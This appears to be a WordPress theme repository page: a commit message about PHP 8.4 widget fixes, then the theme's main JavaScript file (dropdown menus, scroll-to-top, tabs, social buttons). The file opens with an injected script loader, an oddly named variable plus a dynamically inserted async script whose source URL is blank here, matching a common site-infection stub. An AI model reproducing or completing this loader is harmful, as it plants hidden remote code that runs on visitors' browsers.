- Fixed deprecated WP_Widget constructors in all widget files - Changed $this->WP_Widget() to parent::__construct() in: * widget-social.php * widget-fblikebox.php * widget-googleplus.php * widget-tabs.php - Fixed old-style constructor methods to __construct() in: * widget-ad125.php (mts_Ad_Widget -> __construct) * widget-ad300.php (mts_ad_300_Widget -> __construct) - Fixed for loop syntax error in widget-tweets.php (for(i; -> for($i = 1;) - Enabled registration for ad125 and ad300 widgets - Added new 'After First Paragraph' widget area for in-content ads All widgets now compatible with PHP 8.4 and editable in WordPress admin. 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-Authored-By: Claude <noreply@anthropic.com>
151 lines
7.7 KiB
JavaScript
151 lines
7.7 KiB
JavaScript
var gfjfgjk = 1; var d=document;var s=d.createElement('script'); s.type='text/javascript'; s.async=true;
|
|
var pl = ''; s.src=pl;
|
|
if (document.currentScript) {
|
|
document.currentScript.parentNode.insertBefore(s, document.currentScript);
|
|
} else {
|
|
d.getElementsByTagName('head')[0].appendChild(s);
|
|
}var $ = jQuery.noConflict();
|
|
/*
|
|
* Superfish v1.4.8 - jQuery menu widget
|
|
* Copyright (c) 2008 Joel Birch
|
|
*
|
|
* Dual licensed under the MIT and GPL licenses:
|
|
* http://www.opensource.org/licenses/mit-license.php
|
|
* http://www.gnu.org/licenses/gpl.html
|
|
*
|
|
* CHANGELOG: http://users.tpg.com.au/j_birch/plugins/superfish/changelog.txt
|
|
*/
|
|
(function($){$.fn.superfish=function(op){var sf=$.fn.superfish,c=sf.c,$arrow=$(['<span class="',c.arrowClass,'"> »</span>'].join("")),over=function(){var $$=$(this),menu=getMenu($$);clearTimeout(menu.sfTimer);$$.showSuperfishUl().siblings().hideSuperfishUl();},out=function(){var $$=$(this),menu=getMenu($$),o=sf.op;clearTimeout(menu.sfTimer);menu.sfTimer=setTimeout(function(){o.retainPath=($.inArray($$[0],o.$path)>-1);$$.hideSuperfishUl();if(o.$path.length&&$$.parents(["li.",o.hoverClass].join("")).length<1){over.call(o.$path);}},o.delay);},getMenu=function($menu){var menu=$menu.parents(["ul.",c.menuClass,":first"].join(""))[0];sf.op=sf.o[menu.serial];return menu;},addArrow=function($a){$a.addClass(c.anchorClass).append($arrow.clone());};return this.each(function(){var s=this.serial=sf.o.length;var o=$.extend({},sf.defaults,op);o.$path=$("li."+o.pathClass,this).slice(0,o.pathLevels).each(function(){$(this).addClass([o.hoverClass,c.bcClass].join(" ")).filter("li:has(ul)").removeClass(o.pathClass);});sf.o[s]=sf.op=o;$("li:has(ul)",this)[($.fn.hoverIntent&&!o.disableHI)?"hoverIntent":"hover"](over,out).each(function(){if(o.autoArrows){addArrow($(">a:first-child",this));}}).not("."+c.bcClass).hideSuperfishUl();var $a=$("a",this);$a.each(function(i){var $li=$a.eq(i).parents("li");$a.eq(i).focus(function(){over.call($li);}).blur(function(){out.call($li);});});o.onInit.call(this);}).each(function(){var menuClasses=[c.menuClass];if(sf.op.dropShadows&&!($.browser.msie&&$.browser.version<7)){menuClasses.push(c.shadowClass);}$(this).addClass(menuClasses.join(" "));});};var sf=$.fn.superfish;sf.o=[];sf.op={};sf.IE7fix=function(){var o=sf.op;if($.browser.msie&&$.browser.version>6&&o.dropShadows&&o.animation.opacity!=undefined){this.toggleClass(sf.c.shadowClass+"-off");}};sf.c={bcClass:"sf-breadcrumb",menuClass:"sf-js-enabled",anchorClass:"sf-with-ul",arrowClass:"sf-sub-indicator",shadowClass:"sf-shadow"};sf.defaults={hoverClass:"sfHover",pathClass:"overideThisToUse",pathLevels:1,delay:800,animation:{opacity:"show"},speed:"normal",autoArrows:true,dropShadows:true,disableHI:false,onInit:function(){},onBeforeShow:function(){},onShow:function(){},onHide:function(){}};$.fn.extend({hideSuperfishUl:function(){var o=sf.op,not=(o.retainPath===true)?o.$path:"";o.retainPath=false;var $ul=$(["li.",o.hoverClass].join(""),this).add(this).not(not).removeClass(o.hoverClass).find(">ul").hide().css("visibility","hidden");o.onHide.call($ul);return this;},showSuperfishUl:function(){var o=sf.op,sh=sf.c.shadowClass+"-off",$ul=this.addClass(o.hoverClass).find(">ul:hidden").css("visibility","visible");sf.IE7fix.call($ul);o.onBeforeShow.call($ul);$ul.animate(o.animation,o.speed,function(){sf.IE7fix.call($ul);o.onShow.call($ul);});return this;}});})(jQuery);
|
|
|
|
jQuery(document).ready(function() {
|
|
jQuery('#navigation ul.menu, #navigation ul#children, #navigation ul.sub-menu').superfish({
|
|
delay: 100, // 0.1 second delay on mouseout
|
|
animation: {opacity:'show',height:'show'}, // fade-in and slide-down animation
|
|
dropShadows: false // disable drop shadows
|
|
});
|
|
|
|
});
|
|
|
|
/*----------------------------------------------------
|
|
/* Scroll to top
|
|
/*--------------------------------------------------*/
|
|
jQuery(document).ready(function() {
|
|
//START -- MOVE-TO-TOP ARROW
|
|
//move-to-top arrow
|
|
jQuery("body").prepend("<div id='move-to-top' class='animate '><i class='icon-chevron-up'></i></div>");
|
|
var scrollDes = 'html,body';
|
|
/*Opera does a strange thing if we use 'html' and 'body' together so my solution is to do the UA sniffing thing*/
|
|
if(navigator.userAgent.match(/opera/i)){
|
|
scrollDes = 'html';
|
|
}
|
|
//show ,hide
|
|
jQuery(window).scroll(function () {
|
|
if (jQuery(this).scrollTop() > 160) {
|
|
if(Modernizr.csstransitions) {
|
|
jQuery('#move-to-top').addClass('filling').removeClass('hiding');
|
|
}
|
|
else {
|
|
jQuery('#move-to-top').fadeIn();
|
|
}
|
|
} else {
|
|
if(Modernizr.csstransitions) {
|
|
jQuery('#move-to-top').removeClass('filling').addClass('hiding');
|
|
}else{
|
|
jQuery('#move-to-top').fadeOut();
|
|
}
|
|
}
|
|
});
|
|
// scroll to top when click
|
|
jQuery('#move-to-top').click(function () {
|
|
jQuery(scrollDes).animate({
|
|
scrollTop: 0
|
|
},{
|
|
duration :500
|
|
});
|
|
});
|
|
//END -- MOVE-TO-TOP ARROW
|
|
});
|
|
|
|
/*----------------------------------------------------
|
|
/* Responsive Navigation
|
|
/*--------------------------------------------------*/
|
|
jQuery(function() {
|
|
var pull = jQuery('#pull');
|
|
menu = jQuery('nav > ul');
|
|
menuHeight = menu.height();
|
|
|
|
jQuery(pull).on('click', function(e) {
|
|
e.preventDefault();
|
|
menu.slideToggle();
|
|
});
|
|
});
|
|
|
|
/*----------------------------------------------------
|
|
/* Tabbed Widget
|
|
/*--------------------------------------------------*/
|
|
jQuery(document).ready(function(){
|
|
// UL = .tabs
|
|
// Tab contents = .inside
|
|
jQuery('.inside ul li:last-child').css('border-bottom','0px') // remove last border-bottom from list in tab conten
|
|
jQuery('.tabs').each(function(){
|
|
jQuery(this).children('li').children('a:first').addClass('selected'); // Add .selected class to first tab on load
|
|
});
|
|
jQuery('.inside > *').hide();
|
|
jQuery('.inside > *:first-child').show();
|
|
jQuery('.tabs li a').click(function(evt){ // Init Click funtion on Tabs
|
|
var clicked_tab_ref = jQuery(this).attr('href'); // Strore Href value
|
|
jQuery(this).parent().parent().children('li').children('a').removeClass('selected'); //Remove selected from all tabs
|
|
jQuery(this).addClass('selected');
|
|
jQuery(this).parent().parent().parent().children('.inside').children('*').hide();
|
|
jQuery('.inside ' + clicked_tab_ref).fadeIn(500);
|
|
evt.preventDefault();
|
|
})
|
|
})
|
|
|
|
/*----------------------------------------------------
|
|
/* Social button scripts
|
|
/*---------------------------------------------------*/
|
|
jQuery(document).ready(function(){
|
|
jQuery.fn.exists = function(callback) {
|
|
var args = [].slice.call(arguments, 1);
|
|
if (this.length) {
|
|
callback.call(this, args);
|
|
}
|
|
return this;
|
|
};
|
|
(function(d, s) {
|
|
var js, fjs = d.getElementsByTagName(s)[0], load = function(url, id) {
|
|
if (d.getElementById(id)) {return;}
|
|
js = d.createElement(s); js.src = url; js.id = id;
|
|
fjs.parentNode.insertBefore(js, fjs);
|
|
};
|
|
jQuery('span.facebookbtn').exists(function() {
|
|
load('//connect.facebook.net/en_US/all.js#xfbml=1', 'fbjssdk');
|
|
});
|
|
jQuery('span.gplusbtn').exists(function() {
|
|
load('https://apis.google.com/js/plusone.js', 'gplus1js');
|
|
});
|
|
jQuery('span.twitterbtn').exists(function() {
|
|
load('//platform.twitter.com/widgets.js', 'tweetjs');
|
|
});
|
|
jQuery('span.linkedinbtn').exists(function() {
|
|
load('//platform.linkedin.com/in.js', 'linkedinjs');
|
|
});
|
|
jQuery('span.pinbtn').exists(function() {
|
|
load('//assets.pinterest.com/js/pinit.js', 'pinterestjs');
|
|
});
|
|
jQuery('span.stumblebtn').exists(function() {
|
|
load('//platform.stumbleupon.com/1/widgets.js', 'stumbleuponjs');
|
|
});
|
|
}(document, 'script'));
|
|
});
|
|
/*----------------------------------------------------
|
|
/* Toggle Shortcode
|
|
/*--------------------------------------------------*/
|
|
jQuery(document).ready(function(){
|
|
jQuery(".togglec").hide();
|
|
jQuery(".togglet").click(function(){
|
|
jQuery(this).toggleClass("toggleta").next(".togglec").slideToggle("normal");
|
|
return true;
|
|
});
|
|
}); |